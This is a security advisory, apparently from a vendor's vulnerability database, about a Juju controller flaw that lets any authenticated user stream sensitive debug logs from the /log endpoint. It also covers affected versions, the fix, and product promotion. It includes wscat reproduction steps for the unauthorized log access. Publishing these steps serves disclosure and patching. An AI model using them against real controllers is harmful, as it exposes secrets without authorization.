GHSA-r64v-82fh-xc63
MEDIUMJuju vulnerable to sensitive log retrieval via authenticated endpoint without authorization
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/juju/jujuReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Impact
Any user with a Juju account on a controller can read debug log messages from the /log endpoint.
No specific permissions are required - it's just sufficient for the user to exist in the controller user database.
The log messages may contain sensitive information.
Details
The /log endpoint is accessible at the following endpoints:
wss://<controller-ip>/logwss://<controller-ip>/model/<model-uuid>/log
In order to connect to these endpoints, the client must pass an X-Juju-Client-Version header that matches the current version and pass credentials in a Basic Authorization header. Once connected, the service will stream log events even though the user is not authorised to view them.
To reproduce:
juju bootstrap
juju add-user testuser
juju change-user-password testuser
Run the wscat command below to
connect to wss://<controller-ip>:17070/api. Update the JSON payload to include the username and password that were created above.
wscat --no-check -c wss://contorller-ip:17070/model/modelUUID/api
{ "type": "Admin", "request": "Login", "version": 3, "params": { "client-
version": "3.6.1.0", "auth-tag": "user-testuser", "credentials": "
password" } }
Observe that the connection fails due to a lack of permissions.
Run the command below to connect to the log endpoint. Note that the credentials are passed in the --auth flag.
wscat --auth user-testuser:password -H "X-Juju-ClientVersion: 3.6.4" --no-check -c wss://<controller-ip>:17070/log
Observe that the logs are returned in the server’s response.
Code
The /log handlers are registered here
https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L867
https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L980
And the only auth required is that the incoming request be for an authenticated user
https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L713
but no specific permission checks are done.
Workarounds
There are no workarounds.
References
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/juju/juju | all versions | 0.0.0-20250619024904-402ff008dcc2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/juju/juju. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/juju/juju to 0.0.0-20250619024904-402ff008dcc2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r64v-82fh-xc63 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-r64v-82fh-xc63 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-r64v-82fh-xc63. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-r64v-82fh-xc63 in your dependencies?
O3 detects GHSA-r64v-82fh-xc63 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.